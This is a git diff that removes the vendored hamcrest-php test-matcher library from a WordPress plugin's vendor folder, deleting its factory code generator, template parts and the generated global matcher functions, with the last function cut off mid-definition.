$this->addPart('file_header'); - } - - public function addPart($name) - { - $this->addCode($this->readPart($name)); - } - - public function addCode($code) - { - $this->code .= $code; - } - - public function readPart($name) - { - return file_get_contents(__DIR__ . "/parts/$name.txt"); - } - - public function generateFactoryCall(FactoryCall $call) - { - $method = $call->getMethod(); - $code = $method->getComment($this->indent) . "\n"; - $code .= $this->generateDeclaration($call->getName(), $method); - $code .= $this->generateCall($method); - $code .= $this->generateClosing(); - return $code; - } - - public function generateDeclaration($name, FactoryMethod $method) - { - $code = $this->indent . $this->getDeclarationModifiers() - . 'function ' . $name . '(' - . $this->generateDeclarationArguments($method) - . ')' . "\n" . $this->indent . '{' . "\n"; - return $code; - } - - public function getDeclarationModifiers() - { - return ''; - } - - public function generateDeclarationArguments(FactoryMethod $method) - { - if ($method->acceptsVariableArguments()) { - return '/* args... */'; - } else { - return $method->getParameterDeclarations(); - } - } - - public function generateImport(FactoryMethod $method) - { - return $this->indent . self::INDENT . "require_once '" . $method->getClass()->getFile() . "';" . "\n"; - } - - public function generateCall(FactoryMethod $method) - { - $code = ''; - if ($method->acceptsVariableArguments()) { - $code .= $this->indent . self::INDENT . '$args = func_get_args();' . "\n"; - } - - $code .= $this->indent . self::INDENT . 'return '; - if ($method->acceptsVariableArguments()) { - $code .= 'call_user_func_array(array(\'' - . '\\' . $method->getClassName() . '\', \'' - . $method->getName() . '\'), $args);' . "\n"; - } else { - $code .= '\\' . $method->getClassName() . '::' - . $method->getName() . '(' - . $method->getParameterInvocations() . ');' . "\n"; - } - - return $code; - } - - public function generateClosing() - { - return $this->indent . '}' . "\n"; - } - - public function write() - { - file_put_contents($this->file, $this->code); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryGenerator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryGenerator.php deleted file mode 100644 index 242875a0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryGenerator.php +++ /dev/null @@ -1,124 +0,0 @@ -path = $path; - $this->factoryFiles = array(); - } - - public function addFactoryFile(FactoryFile $factoryFile) - { - $this->factoryFiles[] = $factoryFile; - } - - public function generate() - { - $classes = $this->getClassesWithFactoryMethods(); - foreach ($classes as $class) { - foreach ($class->getMethods() as $method) { - foreach ($method->getCalls() as $call) { - foreach ($this->factoryFiles as $file) { - $file->addCall($call); - } - } - } - } - } - - public function write() - { - foreach ($this->factoryFiles as $file) { - $file->build(); - $file->write(); - } - } - - public function getClassesWithFactoryMethods() - { - $classes = array(); - $files = $this->getSortedFiles(); - foreach ($files as $file) { - $class = $this->getFactoryClass($file); - if ($class !== null) { - $classes[] = $class; - } - } - - return $classes; - } - - public function getSortedFiles() - { - $iter = $this->getFileIterator(); - $files = array(); - foreach ($iter as $file) { - $files[] = $file; - } - sort($files, SORT_STRING); - - return $files; - } - - private function getFileIterator() - { - $factoryClass = class_exists('File_Iterator_Factory') ? 'File_Iterator_Factory' : 'SebastianBergmann\FileIterator\Factory'; - - $factory = new $factoryClass(); - - return $factory->getFileIterator($this->path, '.php'); - } - - public function getFactoryClass($file) - { - $name = $this->getFactoryClassName($file); - if ($name !== null) { - require_once $file; - - if (class_exists($name)) { - $class = new FactoryClass(substr($file, strpos($file, 'Hamcrest/')), new ReflectionClass($name)); - if ($class->isFactory()) { - return $class; - } - } - } - - return null; - } - - public function getFactoryClassName($file) - { - $content = file_get_contents($file); - if (preg_match('/namespace\s+(.+);/', $content, $namespace) - && preg_match('/\n\s*class\s+(\w+)\s+extends\b/', $content, $className) - && preg_match('/@factory\b/', $content) - ) { - return $namespace[1] . '\\' . $className[1]; - } - - return null; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryMethod.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryMethod.php deleted file mode 100644 index 8a05371b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryMethod.php +++ /dev/null @@ -1,231 +0,0 @@ -class = $class; - $this->reflector = $reflector; - $this->extractCommentWithoutLeadingShashesAndStars(); - $this->extractFactoryNamesFromComment(); - $this->extractParameters(); - } - - public function extractCommentWithoutLeadingShashesAndStars() - { - $this->comment = explode("\n", $this->reflector->getDocComment()); - foreach ($this->comment as &$line) { - $line = preg_replace('#^\s*(/\\*+|\\*+/|\\*)\s?#', '', $line); - } - $this->trimLeadingBlankLinesFromComment(); - $this->trimTrailingBlankLinesFromComment(); - } - - public function trimLeadingBlankLinesFromComment() - { - while (count($this->comment) > 0) { - $line = array_shift($this->comment); - if (trim($line) != '') { - array_unshift($this->comment, $line); - break; - } - } - } - - public function trimTrailingBlankLinesFromComment() - { - while (count($this->comment) > 0) { - $line = array_pop($this->comment); - if (trim($line) != '') { - array_push($this->comment, $line); - break; - } - } - } - - public function extractFactoryNamesFromComment() - { - $this->calls = array(); - for ($i = 0; $i < count($this->comment); $i++) { - if ($this->extractFactoryNamesFromLine($this->comment[$i])) { - unset($this->comment[$i]); - } - } - $this->trimTrailingBlankLinesFromComment(); - } - - public function extractFactoryNamesFromLine($line) - { - if (preg_match('/^\s*@factory(\s+(.+))?$/', $line, $match)) { - $this->createCalls( - $this->extractFactoryNamesFromAnnotation( - isset($match[2]) ? trim($match[2]) : null - ) - ); - return true; - } - return false; - } - - public function extractFactoryNamesFromAnnotation($value) - { - $primaryName = $this->reflector->getName(); - if (empty($value)) { - return array($primaryName); - } - preg_match_all('/(\.{3}|-|[a-zA-Z_][a-zA-Z_0-9]*)/', $value, $match); - $names = $match[0]; - if (in_array('...', $names)) { - $this->isVarArgs = true; - } - if (!in_array('-', $names) && !in_array($primaryName, $names)) { - array_unshift($names, $primaryName); - } - return $names; - } - - public function createCalls(array $names) - { - $names = array_unique($names); - foreach ($names as $name) { - if ($name != '-' && $name != '...') { - $this->calls[] = new FactoryCall($this, $name); - } - } - } - - public function extractParameters() - { - $this->parameters = array(); - if (!$this->isVarArgs) { - foreach ($this->reflector->getParameters() as $parameter) { - $this->parameters[] = new FactoryParameter($this, $parameter); - } - } - } - - public function getParameterDeclarations() - { - if ($this->isVarArgs || !$this->hasParameters()) { - return ''; - } - $params = array(); - foreach ($this->parameters as /** @var $parameter FactoryParameter */ - $parameter) { - $params[] = $parameter->getDeclaration(); - } - return implode(', ', $params); - } - - public function getParameterInvocations() - { - if ($this->isVarArgs) { - return ''; - } - $params = array(); - foreach ($this->parameters as $parameter) { - $params[] = $parameter->getInvocation(); - } - return implode(', ', $params); - } - - - public function getClass() - { - return $this->class; - } - - public function getClassName() - { - return $this->class->getName(); - } - - public function getName() - { - return $this->reflector->name; - } - - public function isFactory() - { - return count($this->calls) > 0; - } - - public function getCalls() - { - return $this->calls; - } - - public function acceptsVariableArguments() - { - return $this->isVarArgs; - } - - public function hasParameters() - { - return !empty($this->parameters); - } - - public function getParameters() - { - return $this->parameters; - } - - public function getFullName() - { - return $this->getClassName() . '::' . $this->getName(); - } - - public function getCommentText() - { - return implode("\n", $this->comment); - } - - public function getComment($indent = '') - { - $comment = $indent . '/**'; - foreach ($this->comment as $line) { - $comment .= "\n" . rtrim($indent . ' * ' . $line); - } - $comment .= "\n" . $indent . ' */'; - return $comment; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryParameter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryParameter.php deleted file mode 100644 index 82b707ac..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryParameter.php +++ /dev/null @@ -1,131 +0,0 @@ -method = $method; - $this->reflector = $reflector; - } - - /** - * Compute the declaration code. - * - * @return string - */ - public function getDeclaration() - { - $code = $this->getTypeCode() . $this->getInvocation(); - - if ($this->reflector->isOptional()) { - $default = $this->reflector->getDefaultValue(); - if (is_null($default)) { - $default = 'null'; - } elseif (is_bool($default)) { - $default = $default ? 'true' : 'false'; - } elseif (is_string($default)) { - $default = "'" . $default . "'"; - } elseif (is_numeric($default)) { - $default = strval($default); - } elseif (is_array($default)) { - $default = 'array()'; - } else { - echo 'Warning: unknown default type for ' . $this->getMethod()->getFullName() . "\n"; - var_dump($default); - $default = 'null'; - } - $code .= ' = ' . $default; - } - return $code; - } - - /** - * Compute the type code for the paramater. - * - * @return string - */ - private function getTypeCode() - { - // Handle PHP 5 separately - if (PHP_VERSION_ID < 70000) { - if ($this->reflector->isArray()) { - return 'array'; - } - - $class = $this->reflector->getClass(); - - return $class ? sprintf('\\%s ', $class->getName()) : ''; - } - - if (!$this->reflector->hasType()) { - return ''; - } - - $type = $this->reflector->getType(); - $name = self::getQualifiedName($type); - - // PHP 7.1+ supports nullable types via a leading question mark - return (PHP_VERSION_ID >= 70100 && $type->allowsNull()) ? sprintf('?%s ', $name) : sprintf('%s ', $name); - } - - /** - * Compute qualified name for the given type. - * - * This function knows how to prefix class names with a leading slash and - * also how to handle PHP 8's union types. - * - * @param ReflectionType $type - * - * @return string - */ - private static function getQualifiedName(ReflectionType $type) - { - // PHP 8 union types can be recursively processed - if ($type instanceof ReflectionUnionType) { - return implode('|', array_map(function (ReflectionType $type) { - // The "self::" call within a Closure is fine here because this - // code will only ever be executed on PHP 7.0+ - return self::getQualifiedName($type); - }, $type->getTypes())); - } - - // PHP 7.0 doesn't have named types, but 7.1+ does - $name = $type instanceof ReflectionNamedType ? $type->getName() : (string) $type; - - return $type->isBuiltin() ? $name : sprintf('\\%s', $name); - } - - /** - * Compute the invocation code. - * - * @return string - */ - public function getInvocation() - { - return sprintf('$%s', $this->reflector->getName()); - } - - /** - * Compute the method name. - * - * @return string - */ - public function getMethod() - { - return $this->method; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/GlobalFunctionFile.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/GlobalFunctionFile.php deleted file mode 100644 index ec8b1b39..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/GlobalFunctionFile.php +++ /dev/null @@ -1,42 +0,0 @@ -functions = ''; - } - - public function addCall(FactoryCall $call) - { - $this->functions .= "\n" . $this->generateFactoryCall($call); - } - - public function build() - { - $this->addFileHeader(); - $this->addPart('functions_imports'); - $this->addPart('functions_header'); - $this->addCode($this->functions); - $this->addPart('functions_footer'); - } - - public function generateFactoryCall(FactoryCall $call) - { - $code = "if (!function_exists('{$call->getName()}')) {\n"; - $code.= parent::generateFactoryCall($call); - $code.= "}\n"; - - return $code; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/StaticMethodFile.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/StaticMethodFile.php deleted file mode 100644 index 44cec02f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/StaticMethodFile.php +++ /dev/null @@ -1,38 +0,0 @@ -methods = ''; - } - - public function addCall(FactoryCall $call) - { - $this->methods .= PHP_EOL . $this->generateFactoryCall($call); - } - - public function getDeclarationModifiers() - { - return 'public static '; - } - - public function build() - { - $this->addFileHeader(); - $this->addPart('matchers_imports'); - $this->addPart('matchers_header'); - $this->addCode($this->methods); - $this->addPart('matchers_footer'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/file_header.txt b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/file_header.txt deleted file mode 100644 index 7b352e44..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/file_header.txt +++ /dev/null @@ -1,7 +0,0 @@ - - * //With an identifier - * assertThat("assertion identifier", $apple->flavour(), equalTo("tasty")); - * //Without an identifier - * assertThat($apple->flavour(), equalTo("tasty")); - * //Evaluating a boolean expression - * assertThat("some error", $a > $b); - * - */ - function assertThat() - { - $args = func_get_args(); - call_user_func_array( - array('Hamcrest\MatcherAssert', 'assertThat'), - $args - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/functions_imports.txt b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/functions_imports.txt deleted file mode 100644 index e69de29b..00000000 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/matchers_footer.txt b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/matchers_footer.txt deleted file mode 100644 index 5c34318c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/matchers_footer.txt +++ /dev/null @@ -1 +0,0 @@ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/matchers_header.txt b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/matchers_header.txt deleted file mode 100644 index 4f8bb2b7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/matchers_header.txt +++ /dev/null @@ -1,7 +0,0 @@ - - -/** - * A series of static factories for all hamcrest matchers. - */ -class Matchers -{ diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/matchers_imports.txt b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/matchers_imports.txt deleted file mode 100644 index 7dd68495..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/matchers_imports.txt +++ /dev/null @@ -1,2 +0,0 @@ - -namespace Hamcrest; \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/run.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/run.php deleted file mode 100644 index 924d752f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/run.php +++ /dev/null @@ -1,37 +0,0 @@ -addFactoryFile(new StaticMethodFile(STATIC_MATCHERS_FILE)); -$generator->addFactoryFile(new GlobalFunctionFile(GLOBAL_FUNCTIONS_FILE)); -$generator->generate(); -$generator->write(); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest.php deleted file mode 100644 index 55a2dd8c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest.php +++ /dev/null @@ -1,882 +0,0 @@ - - * //With an identifier - * assertThat("assertion identifier", $apple->flavour(), equalTo("tasty")); - * //Without an identifier - * assertThat($apple->flavour(), equalTo("tasty")); - * //Evaluating a boolean expression - * assertThat("some error", $a > $b); - * - */ - function assertThat() - { - $args = func_get_args(); - call_user_func_array( - array('Hamcrest\MatcherAssert', 'assertThat'), - $args - ); - } -} - -if (!function_exists('anArray')) { - /** - * Evaluates to true only if each $matcher[$i] is satisfied by $array[$i]. - */ - function anArray(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Arrays\IsArray', 'anArray'), $args); - } -} - -if (!function_exists('hasItemInArray')) { - /** - * Evaluates to true if any item in an array satisfies the given matcher. - * - * @param mixed $item as a {@link Hamcrest\Matcher} or a value. - * - * @return \Hamcrest\Arrays\IsArrayContaining - */ - function hasItemInArray($item) - { - return \Hamcrest\Arrays\IsArrayContaining::hasItemInArray($item); - } -} - -if (!function_exists('hasValue')) { - /** - * Evaluates to true if any item in an array satisfies the given matcher. - * - * @param mixed $item as a {@link Hamcrest\Matcher} or a value. - * - * @return \Hamcrest\Arrays\IsArrayContaining - */ - function hasValue($item) - { - return \Hamcrest\Arrays\IsArrayContaining::hasItemInArray($item); - } -} - -if (!function_exists('arrayContainingInAnyOrder')) { - /** - * An array with elements that match the given matchers. - */ - function arrayContainingInAnyOrder(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Arrays\IsArrayContainingInAnyOrder', 'arrayContainingInAnyOrder'), $args); - } -} - -if (!function_exists('containsInAnyOrder')) { - /** - * An array with elements that match the given matchers. - */ - function containsInAnyOrder(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Arrays\IsArrayContainingInAnyOrder', 'arrayContainingInAnyOrder'), $args); - } -} - -if (!function_exists('arrayContaining')) { - /** - * An array with elements that match the given matchers in the same order. - */ - function arrayContaining(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Arrays\IsArrayContainingInOrder', 'arrayContaining'), $args); - } -} - -if (!function_exists('contains')) { - /** - * An array with elements that match the given matchers in the same order. - */ - function contains(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Arrays\IsArrayContainingInOrder', 'arrayContaining'), $args); - } -} - -if (!function_exists('hasKeyInArray')) { - /** - * Evaluates to true if any key in an array matches the given matcher. - * - * @param mixed $key as a {@link Hamcrest\Matcher} or a value. - * - * @return \Hamcrest\Arrays\IsArrayContainingKey - */ - function hasKeyInArray($key) - { - return \Hamcrest\Arrays\IsArrayContainingKey::hasKeyInArray($key); - } -} - -if (!function_exists('hasKey')) { - /** - * Evaluates to true if any key in an array matches the given matcher. - * - * @param mixed $key as a {@link Hamcrest\Matcher} or a value. - * - * @return \Hamcrest\Arrays\IsArrayContainingKey - */ - function hasKey($key) - { - return \Hamcrest\Arrays\IsArrayContainingKey::hasKeyInArray($key); - } -} - -if (!function_exists('hasKeyValuePair')) { - /** - * Test if an array has both an key and value in parity with each other. - */ - function hasKeyValuePair($key, $value) - { - return \Hamcrest\Arrays\IsArrayContainingKeyValuePair::hasKeyValuePair($key, $value); - } -} - -if (!function_exists('hasEntry')) { - /** - * Test if an array has both an key and value in parity with each other. - */ - function hasEntry($key, $value) - { - return \Hamcrest\Arrays\IsArrayContainingKeyValuePair::hasKeyValuePair($key, $value); - } -} - -if (!function_exists('arrayWithSize')) { - /** - * Does array size satisfy a given matcher? - * - * @param \Hamcrest\Matcher|int $size as a {@link Hamcrest\Matcher} or a value. - * - * @return \Hamcrest\Arrays\IsArrayWithSize - */ - function arrayWithSize($size) - { - return \Hamcrest\Arrays\IsArrayWithSize::arrayWithSize($size); - } -} - -if (!function_exists('emptyArray')) { - /** - * Matches an empty array. - */ - function emptyArray() - { - return \Hamcrest\Arrays\IsArrayWithSize::emptyArray(); - } -} - -if (!function_exists('nonEmptyArray')) { - /** - * Matches an empty array. - */ - function nonEmptyArray() - { - return \Hamcrest\Arrays\IsArrayWithSize::nonEmptyArray(); - } -} - -if (!function_exists('emptyTraversable')) { - /** - * Returns true if traversable is empty. - */ - function emptyTraversable() - { - return \Hamcrest\Collection\IsEmptyTraversable::emptyTraversable(); - } -} - -if (!function_exists('nonEmptyTraversable')) { - /** - * Returns true if traversable is not empty. - */ - function nonEmptyTraversable() - { - return \Hamcrest\Collection\IsEmptyTraversable::nonEmptyTraversable(); - } -} - -if (!function_exists('traversableWithSize')) { - /** - * Does traversable size satisfy a given matcher? - */ - function traversableWithSize($size) - { - return \Hamcrest\Collection\IsTraversableWithSize::traversableWithSize($size); - } -} - -if (!function_exists('allOf')) { - /** - * Evaluates to true only if ALL of the passed in matchers evaluate to true. - */ - function allOf(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Core\AllOf', 'allOf'), $args); - } -} - -if (!function_exists('anyOf')) { - /** - * Evaluates to true if ANY of the passed in matchers evaluate to true. - */ - function anyOf(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Core\AnyOf', 'anyOf'), $args); - } -} - -if (!function_exists('noneOf')) { - /** - * Evaluates to false if ANY of the passed in matchers evaluate to true. - */ - function noneOf(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Core\AnyOf', 'noneOf'), $args); - } -} - -if (!function_exists('both')) { - /** - * This is useful for fluently combining matchers that must both pass. - * For example: - *
-     *   assertThat($string, both(containsString("a"))->andAlso(containsString("b")));
-     * 
- */ - function both(\Hamcrest\Matcher $matcher) - { - return \Hamcrest\Core\CombinableMatcher::both($matcher); - } -} - -if (!function_exists('either')) { - /** - * This is useful for fluently combining matchers where either may pass, - * for example: - *
-     *   assertThat($string, either(containsString("a"))->orElse(containsString("b")));
-     * 
- */ - function either(\Hamcrest\Matcher $matcher) - { - return \Hamcrest\Core\CombinableMatcher::either($matcher); - } -} - -if (!function_exists('describedAs')) { - /** - * Wraps an existing matcher and overrides the description when it fails. - */ - function describedAs(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Core\DescribedAs', 'describedAs'), $args); - } -} - -if (!function_exists('everyItem')) { - /** - * @param Matcher $itemMatcher - * A matcher to apply to every element in an array. - * - * @return \Hamcrest\Core\Every - * Evaluates to TRUE for a collection in which every item matches $itemMatcher - */ - function everyItem(\Hamcrest\Matcher $itemMatcher) - { - return \Hamcrest\Core\Every::everyItem($itemMatcher); - } -} - -if (!function_exists('hasToString')) { - /** - * Does array size satisfy a given matcher? - */ - function hasToString($matcher) - { - return \Hamcrest\Core\HasToString::hasToString($matcher); - } -} - -if (!function_exists('is')) { - /** - * Decorates another Matcher, retaining the behavior but allowing tests - * to be slightly more expressive. - * - * For example: assertThat($cheese, equalTo($smelly)) - * vs. assertThat($cheese, is(equalTo($smelly))) - */ - function is($value) - { - return \Hamcrest\Core\Is::is($value); - } -} - -if (!function_exists('anything')) { - /** - * This matcher always evaluates to true. - * - * @param string $description A meaningful string used when describing itself. - * - * @return \Hamcrest\Core\IsAnything - */ - function anything($description = 'ANYTHING') - { - return \Hamcrest\Core\IsAnything::anything($description); - } -} - -if (!function_exists('hasItem')) { - /** - * Test if the value is an array containing this matcher. - * - * Example: - *
-     * assertThat(array('a', 'b'), hasItem(equalTo('b')));
-     * //Convenience defaults to equalTo()
-     * assertThat(array('a', 'b'), hasItem('b'));
-     * 
- */ - function hasItem(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Core\IsCollectionContaining', 'hasItem'), $args); - } -} - -if (!function_exists('hasItems')) { - /** - * Test if the value is an array containing elements that match all of these - * matchers. - * - * Example: - *
-     * assertThat(array('a', 'b', 'c'), hasItems(equalTo('a'), equalTo('b')));
-     * 
- */ - function hasItems(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Core\IsCollectionContaining', 'hasItems'), $args); - } -} - -if (!function_exists('equalTo')) { - /** - * Is the value equal to another value, as tested by the use of the "==" - * comparison operator? - */ - function equalTo($item) - { - return \Hamcrest\Core\IsEqual::equalTo($item); - } -} - -if (!function_exists('identicalTo')) { - /** - * Tests of the value is identical to $value as tested by the "===" operator. - */ - function identicalTo($value) - { - return \Hamcrest\Core\IsIdentical::identicalTo($value); - } -} - -if (!function_exists('anInstanceOf')) { - /** - * Is the value an instance of a particular type? - * This version assumes no relationship between the required type and - * the signature of the method that sets it up, for example in - * assertThat($anObject, anInstanceOf('Thing')); - */ - function anInstanceOf($theClass) - { - return \Hamcrest\Core\IsInstanceOf::anInstanceOf($theClass); - } -} - -if (!function_exists('any')) { - /** - * Is the value an instance of a particular type? - * This version assumes no relationship between the required type and - * the signature of the method that sets it up, for example in - * assertThat($anObject, anInstanceOf('Thing')); - */ - function any($theClass) - { - return \Hamcrest\Core\IsInstanceOf::anInstanceOf($theClass); - } -} - -if (!function_exists('not')) { - /** - * Matches if value does not match $value. - */ - function not($value) - { - return \Hamcrest\Core\IsNot::not($value); - } -} - -if (!function_exists('nullValue')) { - /** - * Matches if value is null. - */ - function nullValue() - { - return \Hamcrest\Core\IsNull::nullValue(); - } -} - -if (!function_exists('notNullValue')) { - /** - * Matches if value is not null. - */ - function notNullValue() - { - return \Hamcrest\Core\IsNull::notNullValue(); - } -} - -if (!function_exists('sameInstance')) { - /** - * Creates a new instance of IsSame. - * - * @param mixed $object - * The predicate evaluates to true only when the argument is - * this object. - * - * @return \Hamcrest\Core\IsSame - */ - function sameInstance($object) - { - return \Hamcrest\Core\IsSame::sameInstance($object); - } -} - -if (!function_exists('typeOf')) { - /** - * Is the value a particular built-in type? - */ - function typeOf($theType) - { - return \Hamcrest\Core\IsTypeOf::typeOf($theType); - } -} - -if (!function_exists('set')) { - /** - * Matches if value (class, object, or array) has named $property. - */ - function set($property) - { - return \Hamcrest\Core\Set::set($property); - } -} - -if (!function_exists('notSet')) { - /** - * Matches if value (class, object, or array) does not have named $property. - */ - function notSet($property) - { - return \Hamcrest\Core\Set::notSet($property); - } -} - -if (!function_exists('closeTo')) { - /** - * Matches if value is a number equal to $value within some range of - * acceptable error $delta. - */ - function closeTo($value, $delta) - { - return \Hamcrest\Number\IsCloseTo::closeTo($value, $delta); - } -} - -if (!function_exists('comparesEqualTo')) { - /** - * The value is not > $value, nor < $value. - */ - function comparesEqualTo($value) - { - return \Hamcrest\Number\OrderingComparison::comparesEqualTo($value); - } -} - -if (!function_exists('greaterThan')) { - /** - * The value is > $value. - */ - function greaterThan($value) - { - return \Hamcrest\Number\OrderingComparison::greaterThan($value); - } -} - -if (!function_exists('greaterThanOrEqualTo')) { - /** - * The value is >= $value. - */ - function greaterThanOrEqualTo($value) - { - return \Hamcrest\Number\OrderingComparison::greaterThanOrEqualTo($value); - } -} - -if (!function_exists('atLeast')) { - /** - * The value is >= $value. - */ - function atLeast($value) - { - return \Hamcrest\Number\OrderingComparison::greaterThanOrEqualTo($value); - } -} - -if (!function_exists('lessThan')) { - /** - * The value is < $value. - */ - function lessThan($value) - { - return \Hamcrest\Number\OrderingComparison::lessThan($value); - } -} - -if (!function_exists('lessThanOrEqualTo')) { - /** - * The value is <= $value. - */ - function lessThanOrEqualTo($value) - { - return \Hamcrest\Number\OrderingComparison::lessThanOrEqualTo($value); - } -} - -if (!function_exists('atMost')) { - /** - * The value is <= $value. - */ - function atMost($value) - { - return \Hamcrest\Number\OrderingComparison::lessThanOrEqualTo($value); - } -} - -if (!function_exists('isEmptyString')) { - /** - * Matches if value is a zero-length string. - */ - function isEmptyString() - { - return \Hamcrest\Text\IsEmptyString::isEmptyString(); - } -} - -if (!function_exists('emptyString')) { - /** - * Matches if value is a zero-length string. - */ - function emptyString() - { - return \Hamcrest\Text\IsEmptyString::isEmptyString(); - } -} - -if (!function_exists('isEmptyOrNullString')) { - /** - * Matches if value is null or a zero-length string. - */ - function isEmptyOrNullString() - { - return \Hamcrest\Text\IsEmptyString::isEmptyOrNullString(); - } -} - -if (!function_exists('nullOrEmptyString')) { - /** - * Matches if value is null or a zero-length string. - */ - function nullOrEmptyString() - { - return \Hamcrest\Text\IsEmptyString::isEmptyOrNullString(); - } -} - -if (!function_exists('isNonEmptyString')) { - /** - * Matches if value is a non-zero-length string. - */ - function isNonEmptyString() - { - return \Hamcrest\Text\IsEmptyString::isNonEmptyString(); - } -} - -if (!function_exists('nonEmptyString')) { - /** - * Matches if value is a non-zero-length string. - */ - function nonEmptyString() - { - return \Hamcrest\Text\IsEmptyString::isNonEmptyString(); - } -} - -if (!function_exists('equalToIgnoringCase')) { - /** - * Matches if value is a string equal to $string, regardless of the case. - */ - function equalToIgnoringCase($string) - { - return \Hamcrest\Text\IsEqualIgnoringCase::equalToIgnoringCase($string); - } -} - -if (!function_exists('equalToIgnoringWhiteSpace')) { - /** - * Matches if value is a string equal to $string, regardless of whitespace. - */ - function equalToIgnoringWhiteSpace($string) - { - return \Hamcrest\Text\IsEqualIgnoringWhiteSpace::equalToIgnoringWhiteSpace($string); - } -} - -if (!function_exists('matchesPattern')) { - /** - * Matches if value is a string that matches regular expression $pattern. - */ - function matchesPattern($pattern) - { - return \Hamcrest\Text\MatchesPattern::matchesPattern($pattern); - } -} - -if (!function_exists('containsString')) { - /** - * Matches if value is a string that contains $substring. - */ - function containsString($substring) - { - return \Hamcrest\Text\StringContains::containsString($substring); - } -} - -if (!function_exists('containsStringIgnoringCase')) { - /** - * Matches if value is a string that contains $substring regardless of the case. - */ - function containsStringIgnoringCase($substring) - { - return \Hamcrest\Text\StringContainsIgnoringCase::containsStringIgnoringCase($substring); - } -} - -if (!function_exists('stringContainsInOrder')) { - /** - * Matches if value contains $substrings in a constrained order. - */ - function stringContainsInOrder(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Text\StringContainsInOrder', 'stringContainsInOrder'), $args); - } -} - -if (!function_exists('endsWith')) { - /** - * Matches if value is a string that ends with $substring. - */ - function endsWith($substring) - { - return \Hamcrest\Text\StringEndsWith::endsWith($substring); - } -} - -if (!function_exists('startsWith')) { - /** - * Matches if value is a string that starts with $substring. - */ - function startsWith($substring) - { - return 